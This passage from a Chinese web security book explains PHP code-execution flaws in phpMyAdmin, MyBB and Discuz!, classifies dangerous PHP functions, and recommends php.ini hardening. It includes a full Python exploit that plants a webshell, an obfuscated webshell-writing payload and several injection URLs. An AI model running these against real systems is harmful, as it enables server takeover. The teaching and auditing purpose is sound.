 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
if (strstr($_SERVER['QUERY_STRING'],'session_to_ unset') != false) { parse_str($_SERVER['QUERY_STRING']); session_write_close(); session_id($session_to_unset); session_start(); $_SESSION = array(); session_write_close(); session_destroy(); exit; }

这是一个典型的通过parse_str()覆盖变量的漏洞,但是这个函数的逻辑很短,到最后直接就exit了,原本做不了太多事情。但是注意到Session变量是可以保存在服务器端,并常驻内存的,因此通过覆盖$_SESSION变量将改变很多逻辑。

原本程序逻辑执行到session_destroy() 将正常销毁Session,但是在此之前session_write_close()已经将Session保存下来,然后到session_id()处试图切换Session。

这个漏洞导致的后果,就是所有从Session中取出的变量都将变得不再可信任,可能会导致很多XSS、SQL注入等问题,但我们直接看由CVE-2011-2506导致的静态代码注入——

在setup/lib/ConfigGenerator.class.php 中:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161
/** * Creates config file * * @return string */ public static function getConfigFile() { $cf = ConfigFile::getInstance(); $crlf = (isset($_SESSION['eol']) && $_SESSION['eol'] == 'win') ? "\r\n" : "\n"; $c = $cf->getConfig(); // header $ret = '<?php' . $crlf . '/*' . $crlf . ' * Generated configuration file' . $crlf . ' * Generated by: phpMyAdmin ' . $GLOBALS['PMA_Config']- >get('PMA_VERSION') . ' setup script' . $crlf . ' * Date: ' . date(DATE_RFC1123) . $crlf . ' */' . $crlf . $crlf; // servers if ($cf->getServerCount() > 0) { $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf . $crlf; foreach ($c['Servers'] as $id => $server) { $ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . " [$id] */" . $crlf . '$i++;' . $crlf; foreach ($server as $k => $v) { $k = preg_replace('/[^A- Za-z0-9_]/', '_', $k); $ret .= "\$cfg['Servers'] [\$i]['$k'] = " . (is_array($v) && self::_isZeroBasedArray($v) ? self::_exportZeroBasedArray($v, $crlf) : var_export($v, true)) . ';' . $crlf; } $ret .= $crlf; } $ret .= '/* End of servers configuration */' . $crlf . $crlf; } unset($c['Servers']); // other settings $persistKeys = $cf- >getPersistKeysMap(); foreach ($c as $k => $v) { $k = preg_replace('/[^A-Za- z0-9_]/', '_', $k); $ret .= self::_getVarExport($k, $v, $crlf); if (isset($persistKeys[$k])) { unset($persistKeys[$k]); } } // keep 1d array keys which are present in $persist_keys (config.values.php) foreach (array_keys($persistKeys) as $k) { if (strpos($k, '/') === false) { $k = preg_replace('/[^A-Za- z0-9_]/', '_', $k); $ret .= self::_getVarExport($k, $cf->getDefault($k), $crlf); } } $ret .= '?>'; return $ret; }

其中,此处试图在代码中添加注释,但其拼接的是一个变量:

1 2 3 4 5
$ret .= '/* Server: ' . strtr($cf- >getServerName($id), '*/', '-') . " [$id] */" . $crlf

需要注意的是,strtr()函数已经处理了变量$cf->getServerName($id),防止该值中包含有*/,从而关闭注释符;然而,紧随其后的[$id]却未做任何处理,它实际上是数组变量 $c['Servers']的key。

变量$c则是函数返回的结果:$c = $cf->get-Config();

在libraries/config/ConfigFile.class.php中有getConfig()的实现:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
/** * Returns configuration array (full, multidimensional format) * * @return array */ public function getConfig() { $c = $_SESSION[$this->id]; foreach ($this->cfgUpdateReadMapping as $map_to => $map_from) { PMA_array_write($map_to, $c, PMA_array_read($map_from, $c)); PMA_array_remove($map_from, $c); } return $c; }

最终发现$c是从Session中取得的,而我们通过前面的漏洞可以覆盖Session中的任意变量,从而控制变量$c,最终注入“*/”闭合注释符,将PHP代码插入到config/config.inc.php中并执行。

此漏洞的利用条件是config目录存在并可写,而很多时候管理员可能会在完成初始化安装后,删除config目录。

国内安全研究者wofeiwo为此漏洞写了一段POC:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116117 118 119 120 121 122123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211
#!/usr/bin/env python # coding=utf-8 # pma3 - phpMyAdmin3 remote code execute exploit # Author: wofeiwo<wofeiwo@80sec.com> # Thx Superhei # Tested on: 3.1.1, 3.2.1, 3.4.3 # CVE: CVE-2011-2505, CVE-2011-2506 # Date: 2011-07-08 # Have fun, DO *NOT* USE IT TO DO BAD THING. ############################################# ### # Requirements: 1. "config" directory must created&writeable in pma directory. # 2. session.auto_start = 1 in php.ini configuration. import os,sys,urllib2,re def usage(program): print "PMA3 (Version below 3.3.10.2 and 3.4.3.1) remote code execute exploit" print "Usage: %s <PMA_url>" % program print "Example: %s http://www.test.com/ phpMyAdmin" % program sys.exit(0) def main(args): try: if len(args) < 2: usage(args[0]) if args[1][-1] == "/": args[1] = args[1][:-1] print "[+] Trying get form token&session_id.." content = urllib2.urlopen(args[1]+"/ index.php").read() r1 = re.findall("token=(\w{32})", content) r2 = re.findall("phpMyAdmin=(\w{32,40})", content) if not r1: r1 = re.findall("token\" value= \"(\w{32})\"", content) if not r2: r2 = re.findall("phpMyAdmin\" value=\"(\w{32,40})\"", content) if len(r1) < 1 or len(r2) < 1: print "[-] Cannot find form token and session id...exit." sys.exit(-1) token = r1[0] sessionid = r2[0] print "[+] Token: %s , SessionID: %s" % (token, sessionid) print "[+] Trying to insert payload in $_SESSION.." uri = "/libraries/auth/swekey/ swekey.auth.lib.php? session_to_unset=HelloThere&_ SESSION [ConfigFile0][Servers][*/ eval(getenv('HTTP_CODE'));/*][host]=Hacked+By +PMA&_ SESSION[ConfigFile][Servers][*/ eval(getenv('HTTP_CODE'));/*][host]=Hacked+By +PMA" url = args[1]+uri opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'phpMyAdmin=%s; pma_lang=en; pma_mcrypt_iv=ILXfl5RoJxQ%%3D; PHPSESSID= %s;' % (sessionid, sessionid))) urllib2.install_opener(opener) urllib2.urlopen(url) print "[+] Trying get webshell.." postdata ="phpMyAdmin= %s&tab_hash=&token= %s&check_page_refresh=&DefaultLang =en&Server Default=0&eol=unix&submit_save=Save" % (sessionid, token) url = args[1]+"/setup/config.php" # print "[+]Postdata: %s" % postdata urllib2.urlopen(url, postdata) print "[+] All done, pray for your lucky!" url = args[1]+"/config/ config.inc.php" opener.addheaders.append(('Code', 'phpinfo();')) urllib2.install_opener(opener) print "[+] Trying connect shell: %s" % url result = re.findall("System \</td\> \<td class=\"v\"\>(.*)\</td\>\</tr\>", urllib2.urlopen(url).read()) if len(result) == 1: print "[+] Lucky u! System info: %s" % result[0] print "[+] Shellcode is: eval(getenv('HTTP_CODE'));" else: print "[-] Cannot get webshell." except Exception, e: print e if __name__ == "__main__" : main(sys.argv)

关键代码是:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
uri = "/libraries/auth/swekey/ swekey.auth.lib.php? session_to_unset=HelloThere&_ SESSION[ConfigFile0] [Servers][*/eval(getenv('HTTP_CODE'));/*] [host]=Hacked+By+PMA&_SESSION[ConfigFile][Se rvers][*/eval(getenv('HTTP_CODE'));/*] [host]=Hacked+By+PMA"

它将“/eval()/”注入到要覆盖的SESSION变量的key中。

MyBB 1.4远程代码执行漏洞

接下来看另外一个案例,这是一个间接控制eval()函数输入的例子。这是由安全研究者flyh4t发现的一个漏洞:MyBB 1.4 admin remote codeexecution vulnerability。

首先,在MyBB的代码中存在 eval() 函数。

 1  2  3  4  5  6  7  8  9 10 11
//index.php,336行左右 $plugins->run_hooks("index_end"); //出现了eval函数,注意参数 eval("\$index = \"".$templates- >get("index")."\";"); output_page($index);

挖掘漏洞的过程,通常需要先找到危险函数,然后回溯函数的调用过程,最终看在整个调用的过程中用户是否有可能控制输入。

可以看到eval()的输入来自于$templates->get("index"),继续找到此函数的定义:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
//inc/class_templates.php,65行左右 function get($title, $eslashes=1, $htmlcomments=1) { global $db, $theme, $mybb; // // DEVELOPMENT MODE // if($mybb->dev_mode == 1) { $template = $this- >dev_get($title); if($template !== false) { $this->cache[$title] = $template; } } if(!isset($this->cache[$title])) { $query = $db- >simple_select("templates", "template", "title='".$db- >escape_string($title)."' AND sid IN ('-2','-1','". $theme['templateset']."')", array('order_by' => 'sid', 'order_dir' => 'DESC', 'limit' => 1));

//从数据库里面取出模板的代码

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
$gettemplate = $db- >fetch_array($query); if($mybb->debug_mode) { $this- >uncached_templates[$title] = $title; } if(!$gettemplate) { $gettemplate['template'] = ""; } $this->cache[$title] = $gettemplate['template']; } $template = $this->cache[$title]; if($htmlcomments) { if($mybb- >settings['tplhtmlcomments'] == 1) { $template = "<!-- start: ".htmlspecialchars_uni($title)." --> \n{$template}\n <!-- end: ".htmlspecialchars_uni($title)." -->"; } else { $template = "\n{$template}\n"; } } if($eslashes) { $template = str_replace("\\'", "'", addslashes($template)); } return $template; }

原来get()函数获得的内容是从数据库中取出的。取出时经过了一些安全处理,比如addslashes(),那么数据库中的内容用户是否能控制呢?

根据该应用的功能,不难看出这完全是用户提交的数据。

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189
//admin/modules/style/templates.php,372行开始 if($mybb->input['action'] == "edit_template") { $plugins- >run_hooks("admin_style_templates_edit_templa te"); if(!$mybb->input['title'] || !$sid) { flash_message($lang- >error_missing_input, 'error'); admin_redirect("index.php? module=style/templates"); } if($mybb->request_method == "post") { if(empty($mybb->input['title'])) { $errors[] = $lang- >error_missing_title; } if(!$errors) { $query = $db- >simple_select("templates", "*", "tid='{$mybb->input['tid']}'"); $template = $db- >fetch_array($query); //获取到我们输入的内容,包括模板的标题和内容 $template_array = array( 'title' => $db- >escape_string($mybb->input['title']), 'sid' => $sid, 'template' => $db- >escape_string(trim($mybb- >input['template'])), 'version' => $mybb->version_code, 'status' => '', 'dateline' => TIME_NOW ); // Make sure we have the correct tid associated with this template. If the user double submits then the tid could originally be the master template tid, but because the form is sumbitted again, the tid doesn't get updated to the new modified template one. This then causes the master template to be overwritten $query = $db- >simple_select("templates", "tid", "title='".$db- >escape_string($template['title'])."' AND (sid = '-2' OR sid = '{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc', 'limit' => 1)); $template['tid'] = $db- >fetch_field($query, "tid"); if($sid > 0) { // Check to see if it's never been edited before (i.e. master) of if this a new template (i.e. we've renamed it) or if it's a custom template $query = $db- >simple_select("templates", "sid", "title='".$db- >escape_string($mybb->input['title'])."' AND (sid = '-2' OR sid = '{$sid}' OR sid='{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc')); $existing_sid = $db- >fetch_field($query, "sid"); $existing_rows = $db- >num_rows($query); //更新模板数据库 if(($existing_sid == -2 && $existing_rows == 1) || $existing_rows == 0) { $tid = $db- >insert_query("templates", $template_array); } else { $db- >update_query("templates", $template_array, "tid='{$template['tid']}' AND sid != '-2'"); } }

通过编辑模板功能可以将数据写入数据库,然后通过调用前台文件使得eval()得以执行,唯一需要处理的是一些敏感字符。

flyh4t给出了如下POC:

在后台 Home -> Template Sets -> Default Templates 选择Edit Template: index

在{$headerinclude}下写入如下一段代码后保存:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
{${assert(chr(102).chr(112).chr(117).chr(116) .chr(115).chr(40).chr(102).chr(111).chr( 112).chr(101).chr(110).chr(40).chr(39).chr(99 ).chr(97).chr(99).chr(104).chr(101).chr( 47).chr(102).chr(108).chr(121).chr(104).chr(5 2).chr(116).chr(46).chr(112).chr(104).ch r(112).chr(39).chr(44).chr(39).chr(119).chr(3 9).chr(41).chr(44).chr(39).chr(60).chr(6 3).chr(112).chr(104).chr(112).chr(32).chr(64) .chr(36).chr(95).chr(80).chr(79).chr(83) .chr(84).chr(91).chr(119).chr(93).chr(40).chr (36).chr(95).chr(80).chr(79).chr(83).chr (84).chr(91).chr(102).chr(93).chr(41).chr(63) .chr(62).chr(39).chr(41).chr(59))}}

访问首页后将在cache目录下生成flyh4t.php,内容为

1
<?php @$_POST[w]($_POST[f])?>

这个案例清晰地展示了如何从“找到敏感函数eval()”到“成为一个代码执行漏洞”的过程。虽然这个漏洞要求具备应用管理员的身份才能编辑模板,但是攻击者可能会通过XSS或其他手段来完成这一点。

“文件写入”执行代码

在PHP中对文件的操作一定要谨慎,如果文件操作的内容用户可以控制,则也极容易成为漏洞。

下面这个Discuz! admin\database.inc.phpget-webshell bug由ring04h发现。

在database.inc.php导入zip文件时,存在写文件操作,但其对安全的判断过于简单,导致用户可以将此文件内容修改为PHP代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
..... elseif($operation == 'importzip') { require_once DISCUZ_ROOT.'admin/ zip.func.php'; $unzip = new SimpleUnzip(); $unzip->ReadFile($datafile_server); if($unzip->Count() == 0 || $unzip- >GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) { cpmsg('database_import_file_illegal', '', 'error'); } $identify = explode(',', base64_decode(preg_replace("/^# Identify: \s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256)))); $confirm = !empty($confirm) ? 1 : 0; if(!$confirm && $identify[1] != $version) { cpmsg('database_import_confirm', 'admincp.php?action=database&operation= importzip&datafile_server= $datafile_server&importsubmit=yes&confirm=yes ', 'form'); } $sqlfilecount = 0; foreach($unzip->Entries as $entry) { if(preg_match("/\.sql$/i", $entry- >Name)) { $fp = fopen('./forumdata/'. $backupdir.'/'.$entry->Name, 'w'); fwrite($fp, $entry->Data); fclose($fp); $sqlfilecount++; } } ......

最后有fwrite()写文件操作。同时注意:

1 2 3
preg_match("/\.sql$/i", $importfile = $unzip- >GetName(0))

将控制文件后缀为 .sql,但是其检查并不充分,攻击者可以利用Apache的文件名解析特性(参考“文件上传漏洞”一章),构造文件名为:081127_k4pFUs3C-1.php.sql。此文件名在Apache下默认会作为PHP文件解析,从而获得代码执行。

漏洞POC:

1 2 3 4 5 6 7 8 9
<6.0 :admincp.php? action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit =yes =6.1 :admincp.php? action=database&operation=importzip&datafile_ server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes

其他执行代码方式

通过上面的几个真实案例,让我们对PHP中代码执行漏洞的复杂性有了初步的了解。如果对常见的代码执行漏洞进行分类,则可以总结出一些规律。熟悉并理解这些可能导致代码执行的情况,对于代码审核及安全方案的设计有着积极意义。

直接执行代码的函数

PHP中有不少可以直接执行代码的函数,比如:eval()、assert()、system()、exec()、shell_exec()、passthru()escapeshellcmd()、pcntl_exec()等。

1 2 3 4 5
<?php eval('echo $foobar;'); ?>

一般来说,最好在PHP中禁用这些函数。在审计代码时则可以检查代码中是否存在这些函数,然后回溯危险函数的调用过程,看用户是否可以控制输入。

文件包含

文件包含漏洞也是代码注入的一种,需要高度关注能够包含文件的函数:include()、in-clude_once()、require()、require_once()。

1 2 3 4 5 6 7
<?php $to_include = $_GET['file']; require_once($to_include . '.html'); ?>

本地文件写入

能够往本地文件里写入内容的函数都需要重点关注。

这样的函数较多,常见的有file_put_con-tents()、fwrite()、fputs()等。在上节中就举了一个写入本地文件导致代码执行的案例。

需要注意的是,写入文件的功能可以和文件包含、危险函数执行等漏洞结合,最终使得原本用户无法控制的输入变成可控。在代码审计时要注意这种“组合类”漏洞。

preg_replace()代码执行

preg_replace()的第一个参数如果存在/e模式修饰符,则允许代码执行。

1 2 3 4 5 6 7 8 9
<?php $var = '<tag>phpinfo()</tag>'; preg_replace("/<tag>(.*?)<\/tag>/e", 'addslashes(\\1)', $var); ?>

需要注意的是,即便第一个参数中并没有/e模式修饰符,也是有可能执行代码的。这要求第一个参数中包含变量,并且用户可控,有可能通过注入/e%00的方式截断文本,注入一个“/e”。

 1  2  3  4  5  6  7  8  9 10 11
<?php $regexp = $_GET['re']; $var = '<tag>phpinfo()</tag>'; preg_replace("/<tag>(.*?)$regexp<\/tag>/", '\ \1', $var); ?>

针对这段代码,可以通过如下方式注入:

1
http://www.example.com/index.php?re=<\/tag>/e%00

当preg_replace()的第一个参数中包含了/e时,用户无论是控制了第二个参数还是第三个参数,都可以导致代码执行。

动态函数执行

用户自定义的动态函数可以导致代码执行,需要注意这种情况。

1 2 3 4 5 6 7 8 9
<?php $dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument); ?>

这种写法近似于后门,将直接导致代码执行,比如:

1 2 3
http://www.example.com/index.php? dyn_func=system&argument=uname

与此类似,create_function()函数也具备此能力。

 1  2  3  4  5  6  7  8  9 10 11
<?php $foobar = $_GET['foobar']; $dyn_func = create_function('$foobar', "echo $foobar;"); $dyn_func(''); ?>

攻击payload如下:

1 2 3
http://www.example.com/index.php? foobar=system('ls')

Curly Syntax

PHP的Curly Syntax也能导致代码执行,它将执行花括号间的代码,并将结果替换回去,如下例:

1 2 3 4 5 6 7
<?php $var = "I was innocent until ${`ls`} appeared here"; ?>

ls命令将列出本地目录的文件,并将结果返回。

如下例,phpinfo()函数将执行:

1 2 3 4 5 6 7
<?php $foobar = 'phpinfo'; ${'foobar'}(); ?>

回调函数执行代码

很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。

 1  2  3  4  5  6  7  8  9 10 11
<?php $evil_callback = $_GET['callback']; $some_array = array(0, 1, 2, 3); $new_array = array_map($evil_callback, $some_array); ?>

攻击payload如下:

1 2 3
http://www.example.com/index.php? callback=phpinfo

此类函数很多,下面列出一些可以执行call-back参数的函数。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
array_map() usort(), uasort(), uksort() array_filter() array_reduce() array_diff_uassoc(), array_diff_ukey() array_udiff(), array_udiff_assoc(), array_udiff_uassoc() array_intersect_assoc(), array_intersect_uassoc() array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc() array_walk(), array_walk_recursive() xml_set_character_data_handler() xml_set_default_handler() xml_set_element_handler() xml_set_end_namespace_decl_handler() xml_set_external_entity_ref_handler() xml_set_notation_decl_handler() xml_set_processing_instruction_handler() xml_set_start_namespace_decl_handler() xml_set_unparsed_entity_decl_handler() stream_filter_register() set_error_handler() register_shutdown_function() register_tick_function()

ob_start()实际上也可以执行回调函数,需要特别注意。

 1  2  3  4  5  6  7  8  9 10 11
<?php $foobar = 'system'; ob_start($foobar); echo 'uname'; ob_end_flush(); ?>

unserialize()导致代码执行

unserialize()这个函数也很常见,它能将序列化的数据重新映射为PHP变量。但是unserialize()在执行时如果定义了destruct()函数,或者是wakeup()函数,则这两个函数将执行。

unserialize()代码执行有两个条件,一是unse-rialize()的参数用户可以控制,这样可以构造出需要反序列化的数据结构;二是存在 destruct()函数或者wakeup()函数,这两个函数实现的逻辑决定了能执行什么样的代码。

攻击者可以通过unserialize()控制destruct()或wakeup()中函数的输入。参考下面的例子:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
class Example { var $var = ''; function __destruct() { eval($this->var); } } unserialize($_GET['saved_code']); ?>

攻击payload如下:

1 2 3 4 5 6 7
http://www.example.com/index.php? saved_code=O:7:"Example":1: {s:3:"var";s:10:"phpinfo( );";}

攻击payload可以先模仿目标代码的实现过程,然后再通过调用serialize()获得。

以上为一些主要的导致PHP代码执行的方法,在代码审计时需要重点关注这些地方。

定制安全的PHP环境

在本章中,我们已经深入了解了PHP语言的灵活性,以及PHP安全问题的隐蔽性,那么要如何做好PHP的安全呢?

除了熟悉各种PHP漏洞外,还可以通过配置php.ini来加固PHP的运行环境。

PHP官方也曾经多次修改php.ini的默认设置。在本书中,推荐php.ini中一些安全相关参数的配置。

register_globals

当register_globals = ON时,PHP不知道变量从何而来,也容易出现一些变量覆盖的问题。因此从最佳实践的角度,强烈建议设置 register_globals= OFF,这也是PHP新版本中的默认设置。

open_basedir

open_basedir可以限制PHP只能操作指定目录下的文件。这在对抗文件包含、目录遍历等攻击时非常有用。我们应该为此选项设置一个值。需要注意的是,如果设置的值是一个指定的目录,则需要在目录最后加上一个“/”,否则会被认为是目录的前缀。

1 2 3
open_basedir = /home/web/html/ allow_url_include

为了对抗远程文件包含,请关闭此选项,一般应用也用不到此选项。同时推荐关闭的还有al-low_url_fopen。

1 2 3 4 5
allow_url_fopen = Off allow_url_include = Off display_errors

错误回显,一般常用于开发模式,但是很多应用在正式环境中也忘记了关闭此选项。错误回显可以暴露出非常多的敏感信息,为攻击者下一步攻击提供便利。推荐关闭此选项。

1 2 3
display_errors = Off log_errors

在正式环境下用这个就行了,把错误信息记录在日志里。正好可以关闭错误回显。

1 2 3
log_errors = On magic_quotes_gpc

推荐关闭,它并不值得依赖(请参考“注入攻击”一章),已知已经有若干种方法可以绕过它,甚至由于它的存在反而衍生出一些新的安全问题。XSS、SQL注入等漏洞,都应该由应用在正确的地方解决。同时关闭它还能提高性能。

1 2 3
magic_quotes_gpc = OFF cgi.fix_pathinfo

若PHP以CGI的方式安装,则需要关闭此项,以避免出现文件解析问题(请参考“文件上传漏洞”一章)。

1 2 3
cgi.fix_pathinfo = 0 session.cookie_httponly

开启HttpOnly(HttpOnly的作用请参考“跨站脚本攻击”一章)。

1 2 3
session.cookie_httponly = 1 session.cookie_secure

若是全站HTTPS则请开启此项。

1 2 3 4 5
session.cookie_secure =1 safe_mode

PHP的安全模式是否应该开启的争议一直比较大。一方面,它会影响很多函数;另一方面,它又不停地被黑客们绕过,因此很难取舍。如果是共享环境(比如App Engine),则建议开启safe_mode,可以和disable_functions配合使用;如果是单独的应用环境,则可以考虑关闭它,更多地依赖于disable_functions控制运行环境安全。

safe_mode在当前的PHP版本中会影响以下函数。

需要特别注意的是,如果开启了safe_mode,则exec()、system()、passthru()、popen()等函数并非被禁用,而是只能执行在“safe_mode_exec_dir”所指定目录下存在的可执行文件。如果要允许这些函数,则请设置好safe_mode_exec_dir的值并将此目录设置为不可写。

safe_mode被绕过的情况,往往是因为加载了一些非官方的PHP扩展。扩展自带的函数可以绕过safe_mode,因此请谨慎加载非默认开启的PHP扩展,除非能确认它们是安全的。

disable_functions

disable_functions能够在PHP中禁用函数。这是把双刃剑,禁用函数可能会为开发带来不便,但禁用的函数太少又可能增加开发写出不安全代码的几率,同时为黑客获取webshell提供便利。

一般来说,如果是独立的应用环境,则推荐禁用以下函数:

1
disable_functions = escapeshellarg, es-capeshellcmd, exec, passthru, proc_close,proc_get_status, proc_open, proc_nice, proc_ter-minate, shell_exec, system, ini_restore, popen, dl,disk_free_space, diskfreespace, set_time_limit,tmpfile, fopen, readfile, fpassthru, fsockopen,mail, ini_alter, highlight_file, openlog,show_source, symlink, apache_child_terminate,apache_get_modules, apache_get_version,apache_getenv, apache_note, apache_setenv,parse_ini_file

如果是共享环境(比如App Engine),则需要禁用更多的函数。这方面可以参考新浪推出的SAE平台,在共享的PHP环境下,禁用的函数列表如下:

禁用的函数:

1
php_real_logo_guid,php_egg_logo_guid,php_ini_scanned_files,php_ini_loaded_file,read-link,linkinfo,symlink,link,exec,system,es-capeshellcmd,escapeshellarg,passthru,shell_exec,proc_open,proc_close,proc_terminate,proc_get_status,proc_nice,getmyuid,getmygid,getmyin-ode,putenv,getopt,sys_getloadavg,getrusage,get_current_user,magic_quotes_runtime,set_magic_quotes_runtime,import_request_variables,de-bug_zval_dump,ini_alter,dl,pclose,popen,stream_select,stream_filter_prepend,stream_filter_ap-pend,stream_filter_remove,stream_socket_client,stream_socket_server,stream_socket_ac-cept,stream_socket_get_name,stream_socket_recvfrom,stream_socket_sendto,stream_socket_en-able_crypto,stream_socket_shutdown,stream_socket_pair,stream_copy_to_stream,stream_get_con-tents,stream_set_write_buffer,set_file_buffer,set_socket_blocking,stream_set_blocking,socket_set_blocking,stream_get_meta_data,stream_get_line,stream_register_wrapper,stream_wrapper_re-store,stream_get_transports,stream_is_lo-cal,get_headers,stream_set_timeout,socket_get_status,mail,openlog,syslog,closelog,apc_add,apc_cache_info,apc_clear_cache,apc_compile_file,apc_define_constants,apc_delete,apc_load_con-stants,apc_sma_info,apc_store,flock,pfsock-open,posix_kill,apache_child_termi-nate,apache_get_modules,apache_get_ver-sion,apache_getenv,apache_lookup_uri,apache_reset_timeout,apache_response_head-ers,apache_setenv,virtual,mysql_pconnect,mem-cache_add_server,memcache_connect,mem-cache_pconnect

禁用的类:

1
XMLWriter,DOMDocument,DOMNota-tion,DOMXPath,SQLiteDatabase,SQLiteRe-sult,SQLiteUnbuffered,SQLiteException

对于PHP 6来说,安全架构发生了极大的变化,magic_quotes_gpc、safe_mode等都已经取消,同时提供了一些新的安全功能。由于PHP 6离普及尚有很长一段时间,很多功能尚未稳定,在此暂不讨论。

小结

在本章中介绍了PHP安全相关的很多问题。PHP是一门被广泛使用的Web开发语言,它的语法和使用方式非常灵活,这也导致了PHP代码安全评估的难度相对较高。

本章先后介绍了PHP中一些特别的安全问题,比如文件包含漏洞、代码执行漏洞,最终对如何定制一个安全的PHP环境给出了建议。根据本章的一些最佳实践,可以为PHP安全评估提供参考和指导思想。

浙ICP备11005866号-12